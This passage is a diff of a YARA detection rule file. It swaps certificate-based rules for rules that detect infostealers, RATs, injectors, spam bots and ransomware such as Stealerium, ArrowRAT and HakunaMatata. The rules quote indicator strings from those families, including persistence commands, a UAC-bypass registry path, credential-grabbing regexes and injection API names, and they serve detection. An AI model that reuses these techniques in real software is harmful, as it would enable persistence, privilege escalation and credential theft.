 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "e339c8069126aa6313484fea85b4b326f7b8860c"
-		importance = 20
+
+	strings:
+		$s1 = "UNIC_KEY" fullword wide
+		$s2 = "[StartUp]" fullword wide
+		$s3 = "[Kill]" fullword wide
+		$s4 = "[antivm]" fullword wide
+		$s5 = "AntiVM" fullword ascii
+		$s6 = "AntiKill" fullword ascii
+		$s7 = "hWndRemove" fullword ascii
+		$s8 = "/Clip(watch|Chang|Mon)/" fullword ascii
+		$w1 = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" fullword wide
+		$w2 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0" fullword wide
+		$w3 = "/create /sc MINUTE /mo 1 /tn \"Windows Service\" /tr \"" fullword wide
+		$w4 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon" fullword wide
+		$w5 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Germany classer software" and pe.signatures[i].serial=="01")
+		uint16(0)==0x5a4d and (5 of ($s*) or all of ($w*) or 6 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_734D0Baf7A6B44743Ff852C8Ba7A751A7Ff0Ec73 : FILE
+rule DITEKSHEN_MALWARE_Win_Dotrunpex : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects dotRunpeX injector"
 		author = "ditekSHen"
-		id = "1dc06f6e-2152-516a-b9cc-0d95c098c88f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4845edc1-110c-59a2-ace0-57a62b1e69e8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6031-L6042"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9924-L9936"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "54620c58bae2c2f9859916a58b0fef4310dd27fdada663c28bb7d58bdaefc7c5"
+		logic_hash = "d7f802f233b2b4ff2c250bb8e96649f307bbb3457c78004751401b3ea7f531a0"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "734d0baf7a6b44743ff852c8ba7a751a7ff0ec73"
-		importance = 20
+
+	strings:
+		$s1 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\TaskKill" fullword wide
+		$s2 = "KoiVM" ascii
+		$s3 = "RunpeX.Stub.Framework" wide
+		$s4 = "ExceptionServices.ExceptionDispatchInfo" wide
+		$s5 = "Kernel32.Dll" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Transition software (C) 2018" and pe.signatures[i].serial=="01")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_02Fa994D660De659Ee9037Ecb437D766 : FILE
+rule DITEKSHEN_MALWARE_Win_Cyberstealer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects CyberStealer infostealer"
 		author = "ditekSHen"
-		id = "cb2aa5d6-913e-5d74-a903-1cb88fb63b1c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "cb02013f-ffb2-5a17-9d6e-1d19b0e98fb8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6044-L6056"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9938-L9959"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "0868a2a7b5e276d3a4a40cdef994de934d33d62a689d7207a31fd57d012ef948"
-		logic_hash = "04244701311fcdc77b1e3a8f20621e474ed607be3d109c629280d528e2f24e1f"
+		logic_hash = "72413b68fa1381656202165dcd878761727e7caf0f15ccd65f3f2f842243a1f6"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "0cb6bde041b58dbd4ec64bd5a3be38c50f17bb3d"
-		importance = 20
+
+	strings:
+		$x1 = "\\Cyber Stealer\\" ascii
+		$s1 = "[Virtualization]" fullword wide
+		$s2 = "\"encryptedPassword\":\"([^\"]+)\"" fullword wide
+		$s3 = "CreditCard" fullword ascii
+		$s4 = "DecryptPassword" fullword ascii
+		$s5 = "_modTime" fullword ascii
+		$s6 = "_pathname" fullword ascii
+		$s7 = "_pathnameInZip" fullword ascii
+		$s8 = "GetBookmarksDBPath" fullword ascii
+		$s9 = "GrabberImages" fullword ascii
+		$r1 = "^1[a-km-zA-HJ-NP-Z1-9]{25,34}$" wide
+		$r2 = "^3[a-km-zA-HJ-NP-Z1-9]{25,34}$" wide
+		$r3 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" wide
+		$r4 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Piriform Software Ltd" and pe.signatures[i].serial=="02:fa:99:4d:66:0d:e6:59:ee:90:37:ec:b4:37:d7:66")
+		uint16(0)==0x5a4d and ((1 of ($x*) and (2 of ($s*) or 2 of ($r*))) or 7 of ($s*) or (5 of ($s*) and 2 of ($r*)) or ( all of ($r*) and 4 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0B446546C36525Bf5F084F6Bbbba7097 : FILE
+rule DITEKSHEN_MALWARE_Win_Arrowrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects ArrowRAT"
 		author = "ditekSHen"
-		id = "608a410d-d34f-5eea-92db-3d156d01d360"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "14d3aabe-1ef5-599f-adbd-61b580099447"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6058-L6071"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9961-L9979"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "3163ffc06848f6c48ac460ab844470ef85a07b847bf187c2c9cb26c14032a1a5"
-		logic_hash = "6dcf87b929c28cc013ee5c9de85aa026e335e1e5c38a440bc6b5dc11c6bf9a91"
+		logic_hash = "13e6d4fd274f75c50aa4110276812d02885c03cfc269dde480db66955e5f703a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "05cdf79b0effff361dac0363adaa75b066c49de0"
-		importance = 20
+
+	strings:
+		$s1 = "29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2lubG9nb" wide
+		$s2 = "Software\\Classes\\ms-settings\\shell\\open\\command" wide
+		$s3 = "DelegateExecute" fullword wide
+		$s4 = "powershell" wide
+		$s5 = "DESKTOP_HOOKCONTROL" fullword ascii
+		$s6 = "PROCESS_INFORMATION" fullword ascii
+		$s7 = "STARTUP_INFORMATION" fullword ascii
+		$s8 = /(Venom|Pandora)\shVNC/ fullword wide
+		$s9 = "cmd.exe /k START" fullword wide
+		$s10 = "ExclusionWD" fullword ascii
+		$s11 = "WinExec" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "TeamViewer Germany GmbH" and pe.signatures[i].serial=="0b:44:65:46:c3:65:25:bf:5f:08:4f:6b:bb:ba:70:97" and 1608724800<=pe.signatures[i].not_after)
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E4E795Fd1Fd25595B869Ce22Aa7Dc49F : FILE
+rule DITEKSHEN_MALWARE_Win_Ducktail : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DuckTail"
 		author = "ditekSHen"
-		id = "8807c05d-c13b-58e8-9dda-c2eae6b5979c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "2d1a8f9e-ed5f-53fa-8ba8-b6d1344f6d39"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6087-L6101"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L9981-L10009"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0aef5e2af3059597d218c544bc0b56078e1ef924af0530c62aa12679e0816410"
+		logic_hash = "a416212e5f87b33fdc14590c3d6d6ebc2915c2b383adf78d660c9408beb2323f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "269f25e6b7c690ae094086bd7825d03b48d4fcb1"
-		importance = 20
+
+	strings:
+		$s1 = "&global_scope_id=" wide
+		$s2 = "#ResolveMyIpAll" wide
+		$s3 = "#ApproveInvitesHandler" wide
+		$s4 = "#ProcessShareCok" wide
+		$s5 = "#InviteEmpHandler" wide
+		$s6 = "__activeScenarioIDs=%" wide
+		$s7 = "&__a=1&fb_dtsg=" wide
+		$s8 = "adAccountLimit\":(.*?)}" wide
+		$s9 = "|PUSH|" fullword wide
+		$s10 = "|SCREEN|" fullword wide
+		$s11 = "|SCREEC|" fullword wide
+		$s12 = "_ad_accounts>k__" ascii
+		$s13 = "get_Pwds" fullword ascii
+		$s14 = "Telegram.Bot" ascii
+		$s15 = { 2f 00 7b 00 43 00 59 00 52 00 7d 00 2e 00 74 00
+               78 00 74 00 00 15 2f 00 7b 00 4c 00 4f 00 47 00
+               7d 00 2e 00 74 00 78 00 74 00 00 15 2f 00 7b 00
+               43 00 46 00 47 00 7d 00 2e 00 74 00 78 00 74 00
+               00 15 2f 00 7b 00 50 00 52 00 53 00 7d 00 2e 00
+               74 00 78 00 74 00 00 15 2f 00 7b 00 53 00 43 00
+               52 00 7d 00 2e 00 6a 00 70 00 67 }
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OASIS COURT LIMITED" and (pe.signatures[i].serial=="00:e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f" or pe.signatures[i].serial=="e4:e7:95:fd:1f:d2:55:95:b8:69:ce:22:aa:7d:c4:9f"))
+		uint16(0)==0x5a4d and 13 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_008E0Fa6B464D466Df1B267504B04F7B27 : FILE
+rule DITEKSHEN_MALWARE_Win_Grum : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detect Grum spam bot"
 		author = "ditekSHen"
-		id = "6de3aab7-7175-537b-8a33-56cb0662b7a6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "e9abaed1-f462-5099-b310-9f9244c0c8a2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6103-L6114"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10011-L10025"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1f992d81b63108840d457f3f1906524cf4a9d4bec4a91f7bc826fae9989d40e0"
+		logic_hash = "42a1d57dcddda4a24037af136caace6110b90ee5702c7c01d2a77d2676048c74"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "91707c95044c5badcd51d198bdbe3a7ff3156c35"
-		importance = 20
+
+	strings:
+		$s1 = "loader_id" fullword ascii
+		$s2 = "start_srv" fullword ascii
+		$s3 = "lid_file_upd" fullword ascii
+		$s4 = "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX" fullword ascii
+		$s5 = "rcpt to:<%s>" fullword ascii
+		$s6 = "ehlo %s" fullword ascii
+		$s7 = "%OUTLOOK_BND_" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ApcWCjFsGXwbWUJrKZ" and pe.signatures[i].serial=="00:8e:0f:a6:b4:64:d4:66:df:1b:26:75:04:b0:4f:7b:27")
+		( uint16(0)==0x5a4d and 5 of them ) or ( all of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_559Cb90Fd16E9D1Ad375F050Ab6A6616 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlinjector07 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader injector"
 		author = "ditekSHen"
-		id = "8b2ed295-5aae-5ced-9603-8125b4e261f9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "244ad6fb-8769-5b57-84e2-66f51fccb32a"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6116-L6127"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10027-L10043"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a91f23e2281efb95b780b26018f1c89485a87c6541ac84025dad3e6dd55c742e"
+		logic_hash = "aef43b59ef7d0d62a853280ec1588a48d6c21da5218b7fd7e6ab1aa0f048896b"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "78a149f9a04653b01df09743571df938f9873fa5"
-		importance = 20
+
+	strings:
+		$x1 = "23lenrek[||]lldtn[||]daerhTemuseR[||]txetnoCdaerhTteS46woW[||]txetnoCdaerhTteS[||]txetnoCdaerhTteG46woW[||]txetnoCdaerhTteG[||]xEcollAlautriV[||]yromeMssecorPetirW[||]yromeMssecorPdaeR[||]noitceSfOweiVpamnUwZ[||]AssecorPetaerC" wide
+		$l1 = "[||]" wide
+		$r1 = "yromeMssecorPetirW" wide
+		$r2 = "xEcollAlautriV" wide
+		$r3 = "daerhTemuseR" ascii wide
+		$r4 = "noitceSfOweiVpamnUwZ" wide
+		$s1 = "Debugger Detected" fullword wide
+		$s2 = "payload" fullword ascii
+		$s3 = "_ENABLE_PROFILING" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Shenzhen Smartspace Software technology Co.,Limited" and pe.signatures[i].serial=="55:9c:b9:0f:d1:6e:9d:1a:d3:75:f0:50:ab:6a:66:16")
+		uint16(0)==0x5a4d and (1 of ($x*) or (1 of ($l*) and 2 of ($r*)) or 6 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Eb95A7Bd7553533D : FILE
+rule DITEKSHEN_MALWARE_Win_Stealerium : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Stealerium infostealer"
 		author = "ditekSHen"
-		id = "b9198469-4eba-552d-a8f5-5841893ff85e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ea137900-3add-54b4-9ce9-bc7e98f86d41"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6159-L6170"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10045-L10060"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e646346d94791c2a86a7240d4cf1f9138a30ca583b021ae5b17471cef20a98de"
+		logic_hash = "a2834e7fe26ad0197a9e490ab517029ceed2e09506fcc37e6ddf0c1804fa6cb9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "8d658fd671fa097c3db18906a29e8c1fa45113d9"
-		importance = 20
+
+	strings:
+		$x1 = "Stealerium" ascii wide
+		$x2 = /\.Target\.(Passwords|Messengers|Browsers|VPN|Gaming)\./ ascii
+		$x3 = /\.Modules\.(Keylogger|Implant|Passwords|Messengers|Browsers|VPN|Gaming|Clipper)\./ ascii
+		$s1 = "Timeout /T 2 /Nobreak" fullword wide
+		$s2 = "Directory not exists" wide
+		$s3 = "### {0} ### ({1})" wide
+		$s4 = /---\s(AntiAnalysis|WebcamScreenshot|Keylogger|Clipper)/ wide
+		$s5 = " *Keylogger " fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\x02C\\x02\\x97\\x04\\x17\\x04\\x1e\\x04.\\x02\\x90\\x00g\\x02\\x94\\x02\\xae\\x00p\\x04 \\x00K\\x04J\\x02\\x88\\x042\\x02K\\x02\\xa3" and pe.signatures[i].serial=="eb:95:a7:bd:75:53:53:3d")
+		uint16(0)==0x5a4d and ( all of ($x*) or (2 of ($x*) and all of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0A1F3A057A1Dce4Bf7D76D0C7Adf837E : FILE
+rule DITEKSHEN_MALWARE_Linux_Gobrat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects GobRAT"
 		author = "ditekSHen"
-		id = "c4829ec0-b6be-5701-a4cf-e4b1205240b3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0561fa99-24ee-5e02-ba54-17a1dd81daa4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6172-L6184"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10062-L10080"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "2df05a70d3ce646285a0f888df15064b4e73034b67e06d9a4f4da680ed62e926"
-		logic_hash = "de9ae66e497730db54fc21a745426c687c3a4d9819c08bc1dca0b42a5b8070ac"
+		logic_hash = "070687c909b066e38f72b6421b77670e87476d7e1eb1ed8d41d027836629eb71"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8279b87c89507bc6e209a7bd8b5c24b31fb9a6dc"
-		importance = 20
+
+	strings:
+		$x1 = "BotList" ascii
+		$x2 = "BotCount" ascii
+		$x3 = "/etc/services/zone/bot.log" ascii
+		$x4 = "aaa.com/bbb/me" ascii
+		$s1 = "encoding/gob." ascii
+		$s2 = ".GetMacAddress" ascii
+		$s3 = ".IpString2Uint32" ascii
+		$s4 = ".RegisterLogFile" ascii
+		$s5 = ".UniqueAppendString" ascii
+		$s6 = ".NewDaemon" ascii
+		$s7 = ".SimpleCommand" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Beijing Qihu Technology Co., Ltd." and pe.signatures[i].serial=="0a:1f:3a:05:7a:1d:ce:4b:f7:d7:6d:0c:7a:df:83:7e")
+		uint16(0)==0x457f and (3 of ($x*) or (2 of ($x*) and 3 of ($s*)) or (1 of ($x*) and 5 of ($s*)) or all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00849Ea0945Dd2Ea2Dc3Cc2486578A5715 : FILE
+rule DITEKSHEN_MALWARE_Win_Hakunamatata : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects HakunaMatata ransomware"
 		author = "ditekSHen"
-		id = "8584af2e-6b1e-5141-abbf-84e414ffaead"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "43ca40bb-9eb6-558e-977d-f1fff5659565"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6186-L6197"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10082-L10102"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "824744510e73cd6717e3626a5a250466bfb5817fd7172fc32466c2e68e20947b"
+		logic_hash = "b49705845e5440c3c1e47e196592ca2b31319d1af5265f2f954d3367e3d39d5c"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "8c56adfb8fba825aa9a4ab450c71d45b950e55a4"
-		importance = 20
+
+	strings:
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s2 = "(?:[13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})" wide
+		$s3 = "<RSAKeyValue><Modulus>" wide
+		$s4 = "HAKUNA MATATA" ascii wide
+		$s5 = "EXCEPTIONAL_FILE" ascii
+		$s6 = "TRIPLE_ENCRYPT" ascii
+		$s7 = "FULL_ENCRYPT" ascii
+		$s8 = "TARGETED_EXTENSIONS" ascii
+		$s9 = "CHANGE_PROCESS_NAME" ascii
+		$s10 = "KILL_APPS_ENCRYPT_AGAIN" ascii
+		$s11 = "<ALL_DRIVES>b__" ascii
+		$s12 = "dataToEncrypt" ascii
+		$s13 = "<RECURSIVE_DIRECTORY_LOOK>" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Biglin" and pe.signatures[i].serial=="00:84:9e:a0:94:5d:d2:ea:2d:c3:cc:24:86:57:8a:57:15")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0537F25A88E24Cafdd7919Fa301E8146 : FILE
+rule DITEKSHEN_MALWARE_Win_Hakunamatata_Builder : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects HakunaMatata ransomware builder"
 		author = "ditekSHen"
-		id = "b0dd33b4-2040-5021-bebc-5ca26d75f14c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dbf3490f-418c-5d3b-9f9e-e9fb29d8b652"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6215-L6227"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10104-L10122"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		hash = "72ac61e6311f2a6430d005052dbc0cc58587e7b75722b5e34a71081370f4ddd5"
-		logic_hash = "8cd68612354a756c4a52d6baea9ef6ed74c94f5fcf25baa2f72c1131e0828f84"
+		logic_hash = "ac258851de38504cf63ba51fd06f8a9a3dfbe0096d199ba702e9763b5ecc43e4"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "922211f5ab4521941d26915aeb82ee728f931082"
-		importance = 20
+
+	strings:
+		$s1 = "ENCRYPT FILES IN PROCESS" wide
+		$s2 = "#TARGET_FILES" ascii wide
+		$s3 = "HAKUNA MATATA" ascii wide nocase
+		$s4 = "#PRIVATE_KEY" ascii wide
+		$s5 = "/target:winexe /platform:anycpu /optimize+" wide
+		$s6 = "/win32icon:" fullword wide
+		$s7 = "SkippedFolders" ascii
+		$s8 = "RECURSIVE_DIRECTORY_LOOK(" ascii
+		$s9 = "DRAW_WALLPAPER(" ascii
+		$s10 = "startupKey.SetValue(MESSAGE_FILE.Split('.')[0], executablePath);" ascii
+		$s11 = /\\obj\\(Debug|Release)\\Hakuna\sMatata\.pdb/ ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Avira Operations GmbH & Co. KG" and pe.signatures[i].serial=="05:37:f2:5a:88:e2:4c:af:dd:79:19:fa:30:1e:81:46")
+		uint16(0)==0x5a4d and 5 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2E4A279Bde2Eb688E8Ab30F5904Fa875 : FILE
+rule DITEKSHEN_MALWARE_Win_Twarbot : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detect TWarBot IRC Bot"
 		author = "ditekSHen"
-		id = "3fd40418-9efe-5dfe-a4e2-01ff9c46a4d5"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "3acae103-c8d8-5959-83fd-f47d33da350b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6229-L6240"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10124-L10139"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "768b2cb64f7ce359285721bbfd2f2f6aac4065ec234dc091933d962a7f0ab79a"
+		logic_hash = "6b1b0b92d2ea7adec58a4b0ac712384542d96dc8707b6f1f13df2d8150a03a7a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "0cdf4e992af760e59f3ea2f1648804d2a2b47bbc"
-		importance = 20
+
+	strings:
+		$x1 = "TWarBot" fullword ascii
+		$s1 = "PRIVMSG #" ascii
+		$s2 = "C:\\marijuana.txt" fullword ascii
+		$s3 = "C:\\rar.bat" fullword ascii
+		$s4 = "C:\\zip.bat" fullword ascii
+		$s5 = "software\\microsoft\\windows\\currentversion\\app paths\\winzip32.exe" ascii
+		$s6 = "software\\microsoft\\windows\\currentversion\\app paths\\WinRAR.exe" ascii
+		$s7 = "a -idp -inul -c- -m5" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lespeed Technology Co., Ltd" and pe.signatures[i].serial=="2e:4a:27:9b:de:2e:b6:88:e8:ab:30:f5:90:4f:a8:75")
+		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_Fbe6758Ae785D7C678A4Ad8De5C3F7E6 : FILE
+rule DITEKSHEN_MALWARE_Win_G0Crypt : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects G0Crypt / BRG0SNet / NovaGP ransomware"
 		author = "ditekSHen"
-		id = "4d080acc-fb11-5e4d-9c59-562f30376936"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c0dd8a1b-1aa6-50be-92c4-125eabaf3f9f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L6242-L6253"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10141-L10174"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c6d84435c5c4f71696ce0414c87216bbb0603cb75d6e37abaf73e3708904032e"
+		logic_hash = "a678bbb02b82c34fb5e7bdce2e60b0da88f12b094e7ca3b74345814d0da5ce42"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "bd1958f0306fc8699e829541cd9b8c4fe0e0c6da920932f2cd4d78ed76bda426"
-		importance = 20
+
+	strings:
+		$x1 = "G0Crypt/go/" ascii
+		$x2 = "BRG0SNet" ascii
